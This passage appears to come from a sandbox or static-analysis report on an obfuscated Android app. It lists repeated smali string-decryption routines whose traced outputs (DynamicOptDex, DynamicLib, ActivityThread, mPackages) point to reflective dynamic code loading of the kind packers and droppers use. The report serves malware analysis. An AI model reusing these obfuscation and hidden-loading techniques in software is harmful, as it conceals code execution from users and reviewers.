                                            86cond_a7: const v8, 0x9778c
                                            87if-le v1, v8, :cond_b1
                                            88const v8, 0xb4890
                                            89if-le v3, v8, :cond_b3
                                            90cond_b1: const/16 v1, 0x8c
                                            91cond_b3: move v8, v3
                                            92move v3, v1
                                            93const/4 v1, 0x0
                                            94goto_b6: if-ge v1, v5, :cond_e8
                                            95const v9, 0x2b72c
                                            96if-lt v7, v9, :cond_c3
                                            97const v9, 0xb7ee5
                                            98add-int/2addr v9, v3
                                            99sub-int/2addr v9, v8
                                            100xor-int/2addr v7, v9
                                            101cond_c3: aget-byte v9, v6, v1
                                            102add-int v10, v7, v3
                                            103add-int/2addr v10, v8
                                            104rem-int/lit8 v8, v1, 0x2
                                            105aget-byte v8, v0, v8
                                            106const v11, 0x15d07
                                            107if-lt v7, v11, :cond_d4
                                            108const/16 v7, 0x45
                                            109goto/16 :goto_d6
                                            110cond_d4: const/16 v3, 0x11d
                                            111goto_d6: xor-int/2addr v8, v9
                                            112int-to-byte v8, v8
                                            113aput-byte v8, v2, v1
                                            114const v8, 0x18446
                                            115mul-int v10, v10, v7
                                            116add-int/2addr v8, v10
                                            117const v7, 0x4fbe7
                                            118sub-int/2addr v7, v8
                                            119add-int/2addr v7, v3
                                            120add-int/lit8 v1, v1, 0x1
                                            121goto/16 :goto_b6
                                            122cond_e8: const/16 v0, 0xb
                                            123new-array v0, v0, [I
                                            124fill-array-data v0, :array_15a
                                            125array-length v1, v0
                                            126const/4 v5, 0x0
                                            127goto_f1: if-ge v5, v1, :cond_f9
                                            128aget v6, v0, v5
                                            129add-int/lit8 v5, v5, 0x1
                                            130const/4 v8, 0x0
                                            131goto/16 :goto_f1
                                            132cond_f9:
                                            133invoke-static {v8, v3, v2}, Laccess/pact/agent/DShYpWtBhUhFx;->typicalribbon(II[B)Ljava/lang/String;
                                            • Time: 1496718
                                              • This:
                                                • DynamicOptDex
                                              • p0: [B@2edf5bc
                                              • p0: DynamicOptDex
                                              • p0: 44796E616D69634F7074446578
                                              • Return:
                                                • DynamicOptDex
                                            134move-result-object v0
                                            135return-object v0
                                            136array_120: nop
                                            137array_154: nop
                                            Cross References
                                            APIs
                                            • access.pact.agent.DShYpWtBhUhFx.mistakeuniform
                                            Strings
                                            • DynamicLib
                                            Position Instruction Meta Information
                                            0const/16 v0, 0xf
                                            1new-array v0, v0, [I
                                            2fill-array-data v0, :array_fe
                                            3const/4 v1, 0x2
                                            4aget v2, v0, v1
                                            5const/4 v3, 0x6
                                            6aget v3, v0, v3
                                            7const/4 v4, 0x0
                                            8aget v0, v0, v4
                                            9mul-int v2, v2, v3
                                            10add-int/2addr v2, v0
                                            11const/16 v0, 0x3e8
                                            12const v3, 0xdb9d9
                                            13const v5, 0xf33f7
                                            14if-gt v2, v5, :cond_21
                                            15const v0, 0x6517c000
                                            16goto/16 :goto_2a
                                            17cond_21: const v5, 0xbaba6
                                            18if-eq v2, v5, :cond_27
                                            19goto/16 :goto_2a
                                            20cond_27: const v3, 0xdbdc1
                                            21goto_2a: const/16 v5, 0xa
                                            22new-array v6, v5, [B
                                            23fill-array-data v6, :array_120
                                            24const v7, 0xd7517
                                            25if-lt v0, v7, :cond_37
                                            26goto/16 :goto_5b
                                            27cond_37: const/16 v7, 0x41c5
                                            28if-gt v0, v7, :cond_4f
                                            29const v7, 0x7bb6d
                                            30if-ne v3, v7, :cond_4f
                                            31const v7, 0x34ea5
                                            32mul-int v3, v3, v7
                                            33div-int/2addr v0, v2
                                            34sub-int/2addr v3, v0
                                            35const/16 v0, 0x31
                                            36div-int v2, v0, v3
                                            37move v0, v2
                                            38const/16 v3, 0x31
                                            39goto/16 :goto_5b
                                            40cond_4f: const v2, 0xd2a10
                                            41if-ge v0, v2, :cond_59
                                            42const v2, 0xb556e
                                            43if-lt v3, v2, :cond_5b
                                            44cond_59: const/16 v0, 0x2e
                                            45cond_5b: new-array v2, v5, [B
                                            46const/16 v7, 0x12
                                            47new-array v7, v7, [I
                                            48fill-array-data v7, :array_12a
                                            49move v7, v3
                                            50move v3, v0
                                            51const/4 v0, 0x0
                                            52goto_67: const/16 v8, 0x1f
                                            53if-eq v0, v8, :cond_72
                                            54const/16 v7, 0x3b
                                            55const/16 v3, 0x2a
                                            56add-int/lit8 v0, v0, 0x1
                                            57goto/16 :goto_67
                                            58cond_72: new-array v0, v1, [B
                                            59fill-array-data v0, :array_152
                                            60const/4 v1, 0x0
                                            61goto_78: const/16 v8, 0x1d
                                            62if-ge v1, v8, :cond_81
                                            63const/16 v3, 0x885
                                            64add-int/lit8 v1, v1, 0x1
                                            65goto/16 :goto_78
                                            66cond_81: const v1, 0x24a7e
                                            67if-eq v3, v1, :cond_8b
                                            68const/16 v3, 0x396
                                            69const/16 v1, 0x9e
                                            70goto/16 :goto_91
                                            71cond_8b: const/16 v7, 0x2c
                                            72div-int/lit8 v1, v3, 0x72
                                            73rsub-int/lit8 v1, v1, 0x2c
                                            74goto_91: const v8, 0xd9b18
                                            75if-lt v1, v8, :cond_98
                                            76sub-int/2addr v7, v3
                                            77goto/16 :goto_b3
                                            78cond_98: const v8, 0xce9f0
                                            79if-lt v1, v8, :cond_a7
                                            80const v8, 0x16105
                                            81if-ge v3, v8, :cond_a7
                                            82sub-int/2addr v7, v3
                                            83add-int/2addr v7, v1
                                            84const/16 v3, 0x62
                                            85goto/16 :goto_b3
                                            86cond_a7: const v8, 0x9778c
                                            87if-le v1, v8, :cond_b1
                                            88const v8, 0xb4890
                                            89if-le v3, v8, :cond_b3
                                            90cond_b1: const/16 v1, 0x8c
                                            91cond_b3: move v8, v3
                                            92move v3, v1
                                            93const/4 v1, 0x0
                                            94goto_b6: if-ge v1, v5, :cond_e8
                                            95const v9, 0x2b72c
                                            96if-lt v7, v9, :cond_c3
                                            97const v9, 0xb7ee5
                                            98add-int/2addr v9, v3
                                            99sub-int/2addr v9, v8
                                            100xor-int/2addr v7, v9
                                            101cond_c3: aget-byte v9, v6, v1
                                            102add-int v10, v7, v3
                                            103add-int/2addr v10, v8
                                            104rem-int/lit8 v8, v1, 0x2
                                            105aget-byte v8, v0, v8
                                            106const v11, 0x15d07
                                            107if-lt v7, v11, :cond_d4
                                            108const/16 v7, 0x45
                                            109goto/16 :goto_d6
                                            110cond_d4: const/16 v3, 0x11d
                                            111goto_d6: xor-int/2addr v8, v9
                                            112int-to-byte v8, v8
                                            113aput-byte v8, v2, v1
                                            114const v8, 0x18446
                                            115mul-int v10, v10, v7
                                            116add-int/2addr v8, v10
                                            117const v7, 0x4fbe7
                                            118sub-int/2addr v7, v8
                                            119add-int/2addr v7, v3
                                            120add-int/lit8 v1, v1, 0x1
                                            121goto/16 :goto_b6
                                            122cond_e8: const/16 v0, 0xb
                                            123new-array v0, v0, [I
                                            124fill-array-data v0, :array_158
                                            125array-length v1, v0
                                            126const/4 v5, 0x0
                                            127goto_f1: if-ge v5, v1, :cond_f9
                                            128aget v6, v0, v5
                                            129add-int/lit8 v5, v5, 0x1
                                            130const/4 v8, 0x0
                                            131goto/16 :goto_f1
                                            132cond_f9:
                                            133invoke-static {v8, v3, v2}, Laccess/pact/agent/DShYpWtBhUhFx;->mistakeuniform(II[B)Ljava/lang/String;
                                            • Time: 1496699
                                              • This:
                                                • DynamicLib
                                              • p0: [B@b8b6090
                                              • p0: DynamicLib
                                              • p0: 44796E616D69634C6962
                                              • Return:
                                                • DynamicLib
                                            134move-result-object v0
                                            135return-object v0
                                            136array_120: nop
                                            137array_152: nop
                                            Cross References
                                            APIs
                                            • access.pact.agent.DShYpWtBhUhFx.couchheavy
                                            Strings
                                            • DAOO.json
                                            Position Instruction Meta Information
                                            0const/16 v0, 0xf
                                            1new-array v0, v0, [I
                                            2fill-array-data v0, :array_fe
                                            3const/4 v1, 0x2
                                            4aget v2, v0, v1
                                            5const/4 v3, 0x6
                                            6aget v3, v0, v3
                                            7const/4 v4, 0x0
                                            8aget v0, v0, v4
                                            9mul-int v2, v2, v3
                                            10add-int/2addr v2, v0
                                            11const/16 v0, 0x3e8
                                            12const v3, 0xdb9d9
                                            13const v5, 0xf33f7
                                            14if-gt v2, v5, :cond_21
                                            15const v0, 0x6517c000
                                            16goto/16 :goto_2a
                                            17cond_21: const v5, 0xbaba6
                                            18if-eq v2, v5, :cond_27
                                            19goto/16 :goto_2a
                                            20cond_27: const v3, 0xdbdc1
                                            21goto_2a: const/16 v5, 0x9
                                            22new-array v6, v5, [B
                                            23fill-array-data v6, :array_120
                                            24const v7, 0xd7517
                                            25if-lt v0, v7, :cond_37
                                            26goto/16 :goto_5b
                                            27cond_37: const/16 v7, 0x41c5
                                            28if-gt v0, v7, :cond_4f
                                            29const v7, 0x7bb6d
                                            30if-ne v3, v7, :cond_4f
                                            31const v7, 0x34ea5
                                            32mul-int v3, v3, v7
                                            33div-int/2addr v0, v2
                                            34sub-int/2addr v3, v0
                                            35const/16 v0, 0x31
                                            36div-int v2, v0, v3
                                            37move v0, v2
                                            38const/16 v3, 0x31
                                            39goto/16 :goto_5b
                                            40cond_4f: const v2, 0xd2a10
                                            41if-ge v0, v2, :cond_59
                                            42const v2, 0xb556e
                                            43if-lt v3, v2, :cond_5b
                                            44cond_59: const/16 v0, 0x2e
                                            45cond_5b: new-array v2, v5, [B
                                            46const/16 v7, 0x12
                                            47new-array v7, v7, [I
                                            48fill-array-data v7, :array_12a
                                            49move v7, v3
                                            50move v3, v0
                                            51const/4 v0, 0x0
                                            52goto_67: const/16 v8, 0x1f
                                            53if-eq v0, v8, :cond_72
                                            54const/16 v7, 0x3b
                                            55const/16 v3, 0x2a
                                            56add-int/lit8 v0, v0, 0x1
                                            57goto/16 :goto_67
                                            58cond_72: new-array v0, v1, [B
                                            59fill-array-data v0, :array_152
                                            60const/4 v1, 0x0
                                            61goto_78: const/16 v8, 0x1d
                                            62if-ge v1, v8, :cond_81
                                            63const/16 v3, 0x885
                                            64add-int/lit8 v1, v1, 0x1
                                            65goto/16 :goto_78
                                            66cond_81: const v1, 0x24a7e
                                            67if-eq v3, v1, :cond_8b
                                            68const/16 v3, 0x396
                                            69const/16 v1, 0x9e
                                            70goto/16 :goto_91
                                            71cond_8b: const/16 v7, 0x2c
                                            72div-int/lit8 v1, v3, 0x72
                                            73rsub-int/lit8 v1, v1, 0x2c
                                            74goto_91: const v8, 0xd9b18
                                            75if-lt v1, v8, :cond_98
                                            76sub-int/2addr v7, v3
                                            77goto/16 :goto_b3
                                            78cond_98: const v8, 0xce9f0
                                            79if-lt v1, v8, :cond_a7
                                            80const v8, 0x16105
                                            81if-ge v3, v8, :cond_a7
                                            82sub-int/2addr v7, v3
                                            83add-int/2addr v7, v1
                                            84const/16 v3, 0x62
                                            85goto/16 :goto_b3
                                            86cond_a7: const v8, 0x9778c
                                            87if-le v1, v8, :cond_b1
                                            88const v8, 0xb4890
                                            89if-le v3, v8, :cond_b3
                                            90cond_b1: const/16 v1, 0x8c
                                            91cond_b3: move v8, v3
                                            92move v3, v1
                                            93const/4 v1, 0x0
                                            94goto_b6: if-ge v1, v5, :cond_e8
                                            95const v9, 0x2b72c
                                            96if-lt v7, v9, :cond_c3
                                            97const v9, 0xb7ee5
                                            98add-int/2addr v9, v3
                                            99sub-int/2addr v9, v8
                                            100xor-int/2addr v7, v9
                                            101cond_c3: aget-byte v9, v6, v1
                                            102add-int v10, v7, v3
                                            103add-int/2addr v10, v8
                                            104rem-int/lit8 v8, v1, 0x2
                                            105aget-byte v8, v0, v8
                                            106const v11, 0x15d07
                                            107if-lt v7, v11, :cond_d4
                                            108const/16 v7, 0x45
                                            109goto/16 :goto_d6
                                            110cond_d4: const/16 v3, 0x11d
                                            111goto_d6: xor-int/2addr v8, v9
                                            112int-to-byte v8, v8
                                            113aput-byte v8, v2, v1
                                            114const v8, 0x18446
                                            115mul-int v10, v10, v7
                                            116add-int/2addr v8, v10
                                            117const v7, 0x4fbe7
                                            118sub-int/2addr v7, v8
                                            119add-int/2addr v7, v3
                                            120add-int/lit8 v1, v1, 0x1
                                            121goto/16 :goto_b6
                                            122cond_e8: const/16 v0, 0xb
                                            123new-array v0, v0, [I
                                            124fill-array-data v0, :array_158
                                            125array-length v1, v0
                                            126const/4 v5, 0x0
                                            127goto_f1: if-ge v5, v1, :cond_f9
                                            128aget v6, v0, v5
                                            129add-int/lit8 v5, v5, 0x1
                                            130const/4 v8, 0x0
                                            131goto/16 :goto_f1
                                            132cond_f9:
                                            133invoke-static {v8, v3, v2}, Laccess/pact/agent/DShYpWtBhUhFx;->couchheavy(II[B)Ljava/lang/String;
                                            • Time: 1496724
                                              • This:
                                                • DAOO.json
                                              • p0: [B@640f89a
                                              • p0: DAOO.json
                                              • p0: 44414F4F2E6A736F6E
                                              • Return:
                                                • DAOO.json
                                            134move-result-object v0
                                            135return-object v0
                                            136array_120: nop
                                            137array_152: nop
                                            Cross References
                                            APIs
                                            Strings
                                            • android.app.ActivityThread
                                            Position Instruction Meta Information
                                            0const/16 v0, 0xf
                                            1new-array v0, v0, [I
                                            2fill-array-data v0, :array_fe
                                            3const/4 v1, 0x2
                                            4aget v2, v0, v1
                                            5const/4 v3, 0x6
                                            6aget v3, v0, v3
                                            7const/4 v4, 0x0
                                            8aget v0, v0, v4
                                            9mul-int v2, v2, v3
                                            10add-int/2addr v2, v0
                                            11const/16 v0, 0x3e8
                                            12const v3, 0xdb9d9
                                            13const v5, 0xf33f7
                                            14if-gt v2, v5, :cond_21
                                            15const v0, 0x6517c000
                                            16goto/16 :goto_2a
                                            17cond_21: const v5, 0xbaba6
                                            18if-eq v2, v5, :cond_27
                                            19goto/16 :goto_2a
                                            20cond_27: const v3, 0xdbdc1
                                            21goto_2a: const/16 v5, 0x1a
                                            22new-array v6, v5, [B
                                            23fill-array-data v6, :array_120
                                            24const v7, 0xd7517
                                            25if-lt v0, v7, :cond_37
                                            26goto/16 :goto_5b
                                            27cond_37: const/16 v7, 0x41c5
                                            28if-gt v0, v7, :cond_4f
                                            29const v7, 0x7bb6d
                                            30if-ne v3, v7, :cond_4f
                                            31const v7, 0x34ea5
                                            32mul-int v3, v3, v7
                                            33div-int/2addr v0, v2
                                            34sub-int/2addr v3, v0
                                            35const/16 v0, 0x31
                                            36div-int v2, v0, v3
                                            37move v0, v2
                                            38const/16 v3, 0x31
                                            39goto/16 :goto_5b
                                            40cond_4f: const v2, 0xd2a10
                                            41if-ge v0, v2, :cond_59
                                            42const v2, 0xb556e
                                            43if-lt v3, v2, :cond_5b
                                            44cond_59: const/16 v0, 0x2e
                                            45cond_5b: new-array v2, v5, [B
                                            46const/16 v7, 0x12
                                            47new-array v7, v7, [I
                                            48fill-array-data v7, :array_132
                                            49move v7, v3
                                            50move v3, v0
                                            51const/4 v0, 0x0
                                            52goto_67: const/16 v8, 0x1f
                                            53if-eq v0, v8, :cond_72
                                            54const/16 v7, 0x3b
                                            55const/16 v3, 0x2a
                                            56add-int/lit8 v0, v0, 0x1
                                            57goto/16 :goto_67
                                            58cond_72: new-array v0, v1, [B
                                            59fill-array-data v0, :array_15a
                                            60const/4 v1, 0x0
                                            61goto_78: const/16 v8, 0x1d
                                            62if-ge v1, v8, :cond_81
                                            63const/16 v3, 0x885
                                            64add-int/lit8 v1, v1, 0x1
                                            65goto/16 :goto_78
                                            66cond_81: const v1, 0x24a7e
                                            67if-eq v3, v1, :cond_8b
                                            68const/16 v3, 0x396
                                            69const/16 v1, 0x9e
                                            70goto/16 :goto_91
                                            71cond_8b: const/16 v7, 0x2c
                                            72div-int/lit8 v1, v3, 0x72
                                            73rsub-int/lit8 v1, v1, 0x2c
                                            74goto_91: const v8, 0xd9b18
                                            75if-lt v1, v8, :cond_98
                                            76sub-int/2addr v7, v3
                                            77goto/16 :goto_b3
                                            78cond_98: const v8, 0xce9f0
                                            79if-lt v1, v8, :cond_a7
                                            80const v8, 0x16105
                                            81if-ge v3, v8, :cond_a7
                                            82sub-int/2addr v7, v3
                                            83add-int/2addr v7, v1
                                            84const/16 v3, 0x62
                                            85goto/16 :goto_b3
                                            86cond_a7: const v8, 0x9778c
                                            87if-le v1, v8, :cond_b1
                                            88const v8, 0xb4890
                                            89if-le v3, v8, :cond_b3
                                            90cond_b1: const/16 v1, 0x8c
                                            91cond_b3: move v8, v3
                                            92move v3, v1
                                            93const/4 v1, 0x0
                                            94goto_b6: if-ge v1, v5, :cond_e8
                                            95const v9, 0x2b72c
                                            96if-lt v7, v9, :cond_c3
                                            97const v9, 0xb7ee5
                                            98add-int/2addr v9, v3
                                            99sub-int/2addr v9, v8
                                            100xor-int/2addr v7, v9
                                            101cond_c3: aget-byte v9, v6, v1
                                            102add-int v10, v7, v3
                                            103add-int/2addr v10, v8
                                            104rem-int/lit8 v8, v1, 0x2
                                            105aget-byte v8, v0, v8
                                            106const v11, 0x15d07
                                            107if-lt v7, v11, :cond_d4
                                            108const/16 v7, 0x45
                                            109goto/16 :goto_d6
                                            110cond_d4: const/16 v3, 0x11d
                                            111goto_d6: xor-int/2addr v8, v9
                                            112int-to-byte v8, v8
                                            113aput-byte v8, v2, v1
                                            114const v8, 0x18446
                                            115mul-int v10, v10, v7
                                            116add-int/2addr v8, v10
                                            117const v7, 0x4fbe7
                                            118sub-int/2addr v7, v8
                                            119add-int/2addr v7, v3
                                            120add-int/lit8 v1, v1, 0x1
                                            121goto/16 :goto_b6
                                            122cond_e8: const/16 v0, 0xb
                                            123new-array v0, v0, [I
                                            124fill-array-data v0, :array_160
                                            125array-length v1, v0
                                            126const/4 v5, 0x0
                                            127goto_f1: if-ge v5, v1, :cond_f9
                                            128aget v6, v0, v5
                                            129add-int/lit8 v5, v5, 0x1
                                            130const/4 v8, 0x0
                                            131goto/16 :goto_f1
                                            132cond_f9:
                                            133invoke-static {v8, v3, v2}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->feedcandy(II[B)Ljava/lang/String;
                                            • Time: 1498815
                                              • This:
                                                • android.app.ActivityThread
                                              • p0: [B@1673a3e
                                              • p0: android.app.ActivityThread
                                              • p0: 616E64726F69642E6170702E4163746976697479546872656164
                                              • Return:
                                                • android.app.ActivityThread
                                            134move-result-object v0
                                            135return-object v0
                                            136array_120: nop
                                            137array_132: nop
                                            Cross References
                                            APIs
                                            Strings
                                            • currentActivityThread
                                            Position Instruction Meta Information
                                            0const/16 v0, 0xf
                                            1new-array v0, v0, [I
                                            2fill-array-data v0, :array_fe
                                            3const/4 v1, 0x1
                                            4aget v2, v0, v1
                                            5const/4 v3, 0x6
                                            6aget v3, v0, v3
                                            7const/4 v4, 0x0
                                            8aget v0, v0, v4
                                            9mul-int v2, v2, v3
                                            10add-int/2addr v2, v0
                                            11const/16 v0, 0x3e8
                                            12const v3, 0xdb9d9
                                            13const v5, 0xf33f7
                                            14if-gt v2, v5, :cond_21
                                            15const v0, 0x6517c000
                                            16goto/16 :goto_2a
                                            17cond_21: const v5, 0xbaba6
                                            18if-eq v2, v5, :cond_27
                                            19goto/16 :goto_2a
                                            20cond_27: const v3, 0xdbdc1
                                            21goto_2a: const/16 v5, 0x15
                                            22new-array v6, v5, [B
                                            23fill-array-data v6, :array_120
                                            24const v7, 0xd7517
                                            25if-lt v0, v7, :cond_37
                                            26goto/16 :goto_5b
                                            27cond_37: const/16 v7, 0x41c5
                                            28if-gt v0, v7, :cond_4f
                                            29const v7, 0x7bb6d
                                            30if-ne v3, v7, :cond_4f
                                            31const v7, 0x34ea5
                                            32mul-int v3, v3, v7
                                            33div-int/2addr v0, v2
                                            34sub-int/2addr v3, v0
                                            35const/16 v0, 0x31
                                            36div-int v2, v0, v3
                                            37move v0, v2
                                            38const/16 v3, 0x31
                                            39goto/16 :goto_5b
                                            40cond_4f: const v2, 0xd2a10
                                            41if-ge v0, v2, :cond_59
                                            42const v2, 0xb556e
                                            43if-lt v3, v2, :cond_5b
                                            44cond_59: const/16 v0, 0x2e
                                            45cond_5b: new-array v2, v5, [B
                                            46const/16 v7, 0x12
                                            47new-array v7, v7, [I
                                            48fill-array-data v7, :array_130
                                            49move v7, v3
                                            50move v3, v0
                                            51const/4 v0, 0x0
                                            52goto_67: const/16 v8, 0x1f
                                            53if-eq v0, v8, :cond_72
                                            54const/16 v7, 0x3b
                                            55const/16 v3, 0x2a
                                            56add-int/lit8 v0, v0, 0x1
                                            57goto/16 :goto_67
                                            58cond_72: new-array v0, v1, [B
                                            59fill-array-data v0, :array_158
                                            60const/4 v1, 0x0
                                            61goto_78: const/16 v8, 0x1d
                                            62if-ge v1, v8, :cond_81
                                            63const/16 v3, 0x885
                                            64add-int/lit8 v1, v1, 0x1
                                            65goto/16 :goto_78
                                            66cond_81: const v1, 0x24a7e
                                            67if-eq v3, v1, :cond_8b
                                            68const/16 v3, 0x396
                                            69const/16 v1, 0x9e
                                            70goto/16 :goto_91
                                            71cond_8b: const/16 v7, 0x2c
                                            72div-int/lit8 v1, v3, 0x72
                                            73rsub-int/lit8 v1, v1, 0x2c
                                            74goto_91: const v8, 0xd9b18
                                            75if-lt v1, v8, :cond_98
                                            76sub-int/2addr v7, v3
                                            77goto/16 :goto_b3
                                            78cond_98: const v8, 0xce9f0
                                            79if-lt v1, v8, :cond_a7
                                            80const v8, 0x16105
                                            81if-ge v3, v8, :cond_a7
                                            82sub-int/2addr v7, v3
                                            83add-int/2addr v7, v1
                                            84const/16 v3, 0x62
                                            85goto/16 :goto_b3
                                            86cond_a7: const v8, 0x9778c
                                            87if-le v1, v8, :cond_b1
                                            88const v8, 0xb4890
                                            89if-le v3, v8, :cond_b3
                                            90cond_b1: const/16 v1, 0x8c
                                            91cond_b3: move v8, v3
                                            92move v3, v1
                                            93const/4 v1, 0x0
                                            94goto_b6: if-ge v1, v5, :cond_e8
                                            95const v9, 0x2b72c
                                            96if-lt v7, v9, :cond_c3
                                            97const v9, 0xb7ee5
                                            98add-int/2addr v9, v3
                                            99sub-int/2addr v9, v8
                                            100xor-int/2addr v7, v9
                                            101cond_c3: aget-byte v9, v6, v1
                                            102add-int v10, v7, v3
                                            103add-int/2addr v10, v8
                                            104rem-int/lit8 v8, v1, 0x1
                                            105aget-byte v8, v0, v8
                                            106const v11, 0x15d07
                                            107if-lt v7, v11, :cond_d4
                                            108const/16 v7, 0x45
                                            109goto/16 :goto_d6
                                            110cond_d4: const/16 v3, 0x11d
                                            111goto_d6: xor-int/2addr v8, v9
                                            112int-to-byte v8, v8
                                            113aput-byte v8, v2, v1
                                            114const v8, 0x18446
                                            115mul-int v10, v10, v7
                                            116add-int/2addr v8, v10
                                            117const v7, 0x4fbe7
                                            118sub-int/2addr v7, v8
                                            119add-int/2addr v7, v3
                                            120add-int/lit8 v1, v1, 0x1
                                            121goto/16 :goto_b6
                                            122cond_e8: const/16 v0, 0xb
                                            123new-array v0, v0, [I
                                            124fill-array-data v0, :array_15e
                                            125array-length v1, v0
                                            126const/4 v5, 0x0
                                            127goto_f1: if-ge v5, v1, :cond_f9
                                            128aget v6, v0, v5
                                            129add-int/lit8 v5, v5, 0x1
                                            130const/4 v8, 0x0
                                            131goto/16 :goto_f1
                                            132cond_f9:
                                            133invoke-static {v8, v3, v2}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->gladdomain(II[B)Ljava/lang/String;
                                            • Time: 1498861
                                              • This:
                                                • currentActivityThread
                                              • p0: [B@8e4497
                                              • p0: currentActivityThread
                                              • p0: 63757272656E744163746976697479546872656164
                                              • Return:
                                                • currentActivityThread
                                            134move-result-object v0
                                            135return-object v0
                                            136array_120: nop
                                            137array_130: nop
                                            Cross References
                                            APIs
                                            Strings
                                            • mPackages
                                            Position Instruction Meta Information
                                            0const/16 v0, 0xf
                                            1new-array v0, v0, [I
                                            2fill-array-data v0, :array_fe
                                            3const/4 v1, 0x1
                                            4aget v2, v0, v1
                                            5const/4 v3, 0x6
                                            6aget v3, v0, v3
                                            7const/4 v4, 0x0
                                            8aget v0, v0, v4
                                            9mul-int v2, v2, v3
                                            10add-int/2addr v2, v0
                                            11const/16 v0, 0x3e8
                                            12const v3, 0xdb9d9
                                            13const v5, 0xf33f7
                                            14if-gt v2, v5, :cond_21
                                            15const v0, 0x6517c000
                                            16goto/16 :goto_2a
                                            17cond_21: const v5, 0xbaba6
                                            18if-eq v2, v5, :cond_27
                                            19goto/16 :goto_2a
                                            20cond_27: const v3, 0xdbdc1
                                            21goto_2a: const/16 v5, 0x9
                                            22new-array v6, v5, [B
                                            23fill-array-data v6, :array_120
                                            24const v7, 0xd7517
                                            25if-lt v0, v7, :cond_37
                                            26goto/16 :goto_5b
                                            27cond_37: const/16 v7, 0x41c5
                                            28if-gt v0, v7, :cond_4f
                                            29const v7, 0x7bb6d
                                            30if-ne v3, v7, :cond_4f
                                            31const v7, 0x34ea5
                                            32mul-int v3, v3, v7
                                            33div-int/2addr v0, v2
                                            34sub-int/2addr v3, v0
                                            35const/16 v0, 0x31
                                            36div-int v2, v0, v3
                                            37move v0, v2
                                            38const/16 v3, 0x31
                                            39goto/16 :goto_5b
                                            40cond_4f: const v2, 0xd2a10
                                            41if-ge v0, v2, :cond_59
                                            42const v2, 0xb556e
                                            43if-lt v3, v2, :cond_5b
                                            44cond_59: const/16 v0, 0x2e
                                            45cond_5b: new-array v2, v5, [B
                                            46const/16 v7, 0x12
                                            47new-array v7, v7, [I
                                            48fill-array-data v7, :array_12a
                                            49move v7, v3
                                            50move v3, v0
                                            51const/4 v0, 0x0
                                            52goto_67: const/16 v8, 0x1f
                                            53if-eq v0, v8, :cond_72
                                            54const/16 v7, 0x3b
                                            55const/16 v3, 0x2a
                                            56add-int/lit8 v0, v0, 0x1
                                            57goto/16 :goto_67
                                            58cond_72: new-array v0, v1, [B
                                            59fill-array-data v0, :array_152
                                            60const/4 v1, 0x0
                                            61goto_78: const/16 v8, 0x1d
                                            62if-ge v1, v8, :cond_81
                                            63const/16 v3, 0x885
                                            64add-int/lit8 v1, v1, 0x1
                                            65goto/16 :goto_78
                                            66cond_81: const v1, 0x24a7e
                                            67if-eq v3, v1, :cond_8b
                                            68const/16 v3, 0x396
                                            69const/16 v1, 0x9e
                                            70goto/16 :goto_91
                                            71cond_8b: const/16 v7, 0x2c
                                            72div-int/lit8 v1, v3, 0x72
                                            73rsub-int/lit8 v1, v1, 0x2c
                                            74goto_91: const v8, 0xd9b18
                                            75if-lt v1, v8, :cond_98
                                            76sub-int/2addr v7, v3
                                            77goto/16 :goto_b3
                                            78cond_98: const v8, 0xce9f0
                                            79if-lt v1, v8, :cond_a7
                                            80const v8, 0x16105
                                            81if-ge v3, v8, :cond_a7
                                            82sub-int/2addr v7, v3
                                            83add-int/2addr v7, v1
                                            84const/16 v3, 0x62
                                            85goto/16 :goto_b3
                                            86cond_a7: const v8, 0x9778c
                                            87if-le v1, v8, :cond_b1
                                            88const v8, 0xb4890
                                            89if-le v3, v8, :cond_b3
                                            90cond_b1: const/16 v1, 0x8c
                                            91cond_b3: move v8, v3
                                            92move v3, v1
                                            93const/4 v1, 0x0
                                            94goto_b6: if-ge v1, v5, :cond_e8
                                            95const v9, 0x2b72c
                                            96if-lt v7, v9, :cond_c3
                                            97const v9, 0xb7ee5
                                            98add-int/2addr v9, v3
                                            99sub-int/2addr v9, v8
                                            100xor-int/2addr v7, v9
                                            101cond_c3: aget-byte v9, v6, v1
                                            102add-int v10, v7, v3
                                            103add-int/2addr v10, v8
                                            104rem-int/lit8 v8, v1, 0x1
                                            105aget-byte v8, v0, v8
                                            106const v11, 0x15d07
                                            107if-lt v7, v11, :cond_d4
                                            108const/16 v7, 0x45
                                            109goto/16 :goto_d6
                                            110cond_d4: const/16 v3, 0x11d
                                            111goto_d6: xor-int/2addr v8, v9
                                            112int-to-byte v8, v8
                                            113aput-byte v8, v2, v1
                                            114const v8, 0x18446
                                            115mul-int v10, v10, v7
                                            116add-int/2addr v8, v10
                                            117const v7, 0x4fbe7
                                            118sub-int/2addr v7, v8
                                            119add-int/2addr v7, v3
                                            120add-int/lit8 v1, v1, 0x1
                                            121goto/16 :goto_b6
                                            122cond_e8: const/16 v0, 0xb
                                            123new-array v0, v0, [I
                                            124fill-array-data v0, :array_158
                                            125array-length v1, v0
                                            126const/4 v5, 0x0
                                            127goto_f1: if-ge v5, v1, :cond_f9
                                            128aget v6, v0, v5
                                            129add-int/lit8 v5, v5, 0x1
                                            130const/4 v8, 0x0
                                            131goto/16 :goto_f1
                                            132cond_f9:
                                            133invoke-static {v8, v3, v2}, Laccess/pact/agent/XNxDmOoDwPrCuPwKtNqExHyIwAnNnQxJpNmRxAcRrFdKjYnFtGr;->indextalent(II[B)Ljava/lang/String;
                                            • Time: 1498852
                                              • This:
                                                • mPackages
                                              • p0: [B@b99d4d8
                                              • p0: mPackages
                                              • p0: 6D5061636B61676573
                                              • Return:
                                                • mPackages
                                            134move-result-object v0
                                            135return-object v0
                                            136array_120: nop
                                            137array_152: nop
                                            Cross References
                                            APIs
                                            • access.pact.agent.DShYpWtBhUhFx.eyebrowuseful
                                            Strings
                                            • qpbIgipkIbEJAhXBsJBxRcLouFGFSNgkbPnYeyPlOEHZnqikED
                                            Position Instruction Meta Information
                                            0const/16 v0, 0xf
                                            1new-array v0, v0, [I
                                            2fill-array-data v0, :array_fe
                                            3const/4 v1, 0x3
                                            4aget v2, v0, v1
                                            5const/4 v3, 0x6
                                            6aget v3, v0, v3
                                            7const/4 v4, 0x0
                                            8aget v0, v0, v4
                                            9mul-int v2, v2, v3
                                            10add-int/2addr v2, v0
                                            11const/16 v0, 0x3e8
                                            12const v3, 0xdb9d9
                                            13const v5, 0xf33f7
                                            14if-gt v2, v5, :cond_21
                                            15const v0, 0x6517c000
                                            16goto/16 :goto_2a
